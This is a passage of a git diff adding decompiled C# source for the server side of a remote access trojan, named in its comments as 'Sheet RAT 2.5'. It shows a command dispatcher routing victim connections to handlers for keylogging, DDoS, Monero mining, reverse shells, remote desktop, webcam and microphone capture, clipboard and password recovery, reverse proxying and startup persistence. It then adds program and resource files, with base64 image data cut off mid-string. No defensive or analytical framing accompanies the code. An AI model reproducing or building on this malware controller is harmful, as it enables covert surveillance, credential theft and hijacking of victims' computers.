new HandlerManagerDrivers(client, strArray); + } + else if (s == "PhotoAutoTask") + { + HandlerAutoTaskPhoto handlerAutoTaskPhoto = new HandlerAutoTaskPhoto(client, strArray); + } + else if (s == "DDosConnect") + { + HandlerDDosConnect handlerDdosConnect = new HandlerDDosConnect(client, strArray); + } + else if (s == "ConnectMiner") + { + HandlerConnectMiner handlerConnectMiner = new HandlerConnectMiner(client, strArray); + } + else if (s == "Clipboard") + { + HandlerGetClipboard handlerGetClipboard = new HandlerGetClipboard(client, strArray); + } + else if (s == "ScreenShotAutoTask") + { + HandlerAutoTaskScreenShot autoTaskScreenShot = new HandlerAutoTaskScreenShot(client, strArray); + } + else if (s == "shellconnect") + { + HandlerConnectShell handlerConnectShell = new HandlerConnectShell(client, strArray); + } + else if (s == "MinerGetLibs") + { + HandlerGetMinerLibs handlerGetMinerLibs = new HandlerGetMinerLibs(client, strArray); + } + else if (s == "regManager") + { + HandlerRegManager handlerRegManager = new HandlerRegManager(client, strArray); + } + else if (s == "ManagerGetPath") + { + HandlerManagerGetPath handlerManagerGetPath = new HandlerManagerGetPath(client, strArray); + } + else if (s == "Ping") + { + HandlerPing handlerPing = new HandlerPing(client, strArray); + } + else if (s == "StartRecovery") + { + HandlerStartRecovery handlerStartRecovery = new HandlerStartRecovery(client, strArray); + } + else if (s == "GetDLL") + { + HandlerSendDll handlerSendDll = new HandlerSendDll(client, strArray); + } + else if (s == "remoteDesktop") + { + HandlerRemoteDesktop handlerRemoteDesktop = new HandlerRemoteDesktop(client, strArray); + } + else if (s == "GetMinerXmr") + { + HandlerGetMinerXmr handlerGetMinerXmr = new HandlerGetMinerXmr(client, strArray); + } + else if (s == "SpeakBot") + { + HandlerConnectSpeakBot handlerConnectSpeakBot = new HandlerConnectSpeakBot(client, strArray); + } + else if (s == "ConnectChat") + { + HandlerConnectChat handlerConnectChat = new HandlerConnectChat(client, strArray); + } + else if (s == "RecoveryNAudio") + { + HandlerRecoveryNAudio handlerRecoveryNaudio = new HandlerRecoveryNAudio(client, strArray); + } + else if (s == "ServiceStatus") + { + HandlerServiceStatus handlerServiceStatus = new HandlerServiceStatus(client, strArray); + } + else if (s == "ConnectMessage") + { + HandlerConnectMessage handlerConnectMessage = new HandlerConnectMessage(client, strArray); + } + else if (s == "ChatMessage") + { + HandlerChatMessage handlerChatMessage = new HandlerChatMessage(client, strArray); + } + else if (s == "ConnectRemoteDesktop") + { + HandlerConnectRemoteDesktop connectRemoteDesktop = new HandlerConnectRemoteDesktop(client, strArray); + } + else if (s == "keyLogger") + { + HandlerKeyLogger handlerKeyLogger = new HandlerKeyLogger(client, strArray); + } + else if (s == "ConnectMicrophone") + { + HandlerConnectMicrophone connectMicrophone = new HandlerConnectMicrophone(client, strArray); + } + else if (s == "ConnectTaskMgr") + { + HandlerConnectTaskMgr handlerConnectTaskMgr = new HandlerConnectTaskMgr(client, strArray); + } + else if (s == "StatusMiner") + { + HandlerStatusMiner handlerStatusMiner = new HandlerStatusMiner(client, strArray); + } + else if (s == "KeyLoggerConnect") + { + HandlerKeyloggerConnect keyloggerConnect = new HandlerKeyloggerConnect(client, strArray); + } + else if (s == "Scheduler") + { + HandlerScheduler handlerScheduler = new HandlerScheduler(client, strArray); + } + else if (s == "RefreshStatus") + { + HandlerRefreshStatus handlerRefreshStatus = new HandlerRefreshStatus(client, strArray); + } + else if (s == "ServiceUpdate") + { + HandlerServiceUpdate handlerServiceUpdate = new HandlerServiceUpdate(client, strArray); + } + else if (s == "DownloadInfo") + { + HandlerDownloadInfo handlerDownloadInfo = new HandlerDownloadInfo(client, strArray); + } + else if (s == "ConnectAutoRun") + { + HandlerConnectAutoRun handlerConnectAutoRun = new HandlerConnectAutoRun(client, strArray); + } + else if (s == "ConnectFun") + { + HandlerConnectFun handlerConnectFun = new HandlerConnectFun(client, strArray); + } + else if (s == "ConnectNetstat") + { + HandlerConnectNetstat handlerConnectNetstat = new HandlerConnectNetstat(client, strArray); + } + else if (s == "ReverseProxy") + { + HandlerProxy handlerProxy = new HandlerProxy(client, strArray); + } + else if (s == "DownloadGet") + { + HandlerDownloadGet handlerDownloadGet = new HandlerDownloadGet(client, strArray); + } + else if (s == "NestatList") + { + HandlerNetstatlist handlerNetstatlist = new HandlerNetstatlist(client, strArray); + } + else if (s == "StartUpAdd") + { + HandlerStartUpAdd handlerStartUpAdd = new HandlerStartUpAdd(client, strArray); + } + else if (s == "ConnectChatEnd") + { + HandlerConnectChatEnd handlerConnectChatEnd = new HandlerConnectChatEnd(client, strArray); + } + else if (s == "Pong") + { + HandlerPong handlerPong = new HandlerPong(client, strArray); + } + else if (s == "MessageReturn") + { + HandlerMessageReturn handlerMessageReturn = new HandlerMessageReturn(client, strArray); + } + else if (s == "ConnectMinerXmr") + { + HandlerConnectMinerXmr handlerConnectMinerXmr = new HandlerConnectMinerXmr(client, strArray); + } + else if (s == "Error") + { + HandlerError handlerError = new HandlerError(client, strArray); + } + else if (s == "getWebcams") + { + HandlerGetWebcams handlerGetWebcams = new HandlerGetWebcams(client, strArray); + } + else if (s == "capture") + { + HandlerCapture handlerCapture = new HandlerCapture(client, strArray); + } + else if (s == "GetMiner") + { + HandlerGetMiner handlerGetMiner = new HandlerGetMiner(client, strArray); + } + } +} +} + + diff --git a/Server/Server/Program.cs b/Server/Server/Program.cs new file mode 100644 index 0000000..b27059e --- /dev/null +++ b/Server/Server/Program.cs @@ -0,0 +1,43 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Program +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server { + +internal static class Program +{ + public static Form1 form; + public static string DynamicAuthKey { get; private set; } // Dynamic authentication key + + [STAThread] + private static void Main() + { + try + { + DynamicAuthKey = Guid.NewGuid().ToString(); // Generate a unique key on startup + Console.WriteLine($"[SERVER] Generated Dynamic Authentication Key: {DynamicAuthKey}"); + + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Program.form = new Form1(); + Application.Run((Form) Program.form); + } + catch (Exception ex) + { + Console.ForegroundColor = ConsoleColor.Red; + Console.WriteLine("FATAL ERROR"); + Console.WriteLine(ex.ToString()); + Console.ReadKey(); + } + } +} +} + + diff --git a/Server/Server/Properties/Resources.cs b/Server/Server/Properties/Resources.cs new file mode 100644 index 0000000..71e6e24 --- /dev/null +++ b/Server/Server/Properties/Resources.cs @@ -0,0 +1,124 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Properties.Resources +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.Drawing; +using System.Globalization; +using System.Resources; +using System.Runtime.CompilerServices; + +//#nullable disable +namespace Server.Properties { + +[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] +[DebuggerNonUserCode] +[CompilerGenerated] +internal class Resources +{ + private static ResourceManager resourceMan; + private static CultureInfo resourceCulture; + + internal Resources() + { + } + + [EditorBrowsable(EditorBrowsableState.Advanced)] + internal static ResourceManager ResourceManager + { + get + { + if (Server.Properties.Resources.resourceMan == null) + Server.Properties.Resources.resourceMan = new ResourceManager("Server.Properties.Resources", typeof (Server.Properties.Resources).Assembly); + return Server.Properties.Resources.resourceMan; + } + } + + [EditorBrowsable(EditorBrowsableState.Advanced)] + internal static CultureInfo Culture + { + get => Server.Properties.Resources.resourceCulture; + set => Server.Properties.Resources.resourceCulture = value; + } + + internal static Bitmap BackGroundImage + { + get + { + return (Bitmap) Server.Properties.Resources.ResourceManager.GetObject(nameof (BackGroundImage), Server.Properties.Resources.resourceCulture); + } + } + + internal static Bitmap BackGroundImageDarl + { + get + { + return (Bitmap) Server.Properties.Resources.ResourceManager.GetObject(nameof (BackGroundImageDarl), Server.Properties.Resources.resourceCulture); + } + } + + internal static Bitmap downloadfolderblank_99350 + { + get + { + return (Bitmap) Server.Properties.Resources.ResourceManager.GetObject(nameof (downloadfolderblank_99350), Server.Properties.Resources.resourceCulture); + } + } + + internal static Bitmap error + { + get => (Bitmap) Server.Properties.Resources.ResourceManager.GetObject(nameof (error), Server.Properties.Resources.resourceCulture); + } + + internal static Bitmap icons8_cancel_25px + { + get + { + return (Bitmap) Server.Properties.Resources.ResourceManager.GetObject(nameof (icons8_cancel_25px), Server.Properties.Resources.resourceCulture); + } + } + + internal static Bitmap images + { + get => (Bitmap) Server.Properties.Resources.ResourceManager.GetObject(nameof (images), Server.Properties.Resources.resourceCulture); + } + + internal static Bitmap info + { + get => (Bitmap) Server.Properties.Resources.ResourceManager.GetObject(nameof (info), Server.Properties.Resources.resourceCulture); + } + + internal static Bitmap Offline + { + get + { + return (Bitmap) Server.Properties.Resources.ResourceManager.GetObject(nameof (Offline), Server.Properties.Resources.resourceCulture); + } + } + + internal static Bitmap Online + { + get => (Bitmap) Server.Properties.Resources.ResourceManager.GetObject(nameof (Online), Server.Properties.Resources.resourceCulture); + } + + internal static Bitmap success + { + get + { + return (Bitmap) Server.Properties.Resources.ResourceManager.GetObject(nameof (success), Server.Properties.Resources.resourceCulture); + } + } + + internal static Bitmap warning + { + get + { + return (Bitmap) Server.Properties.Resources.ResourceManager.GetObject(nameof (warning), Server.Properties.Resources.resourceCulture); + } + } +} +} diff --git a/Server/Server/Properties/Resources.resx b/Server/Server/Properties/Resources.resx new file mode 100644 index 0000000..5f4079a --- /dev/null +++ b/Server/Server/Properties/Resources.resx @@ -0,0 +1,153 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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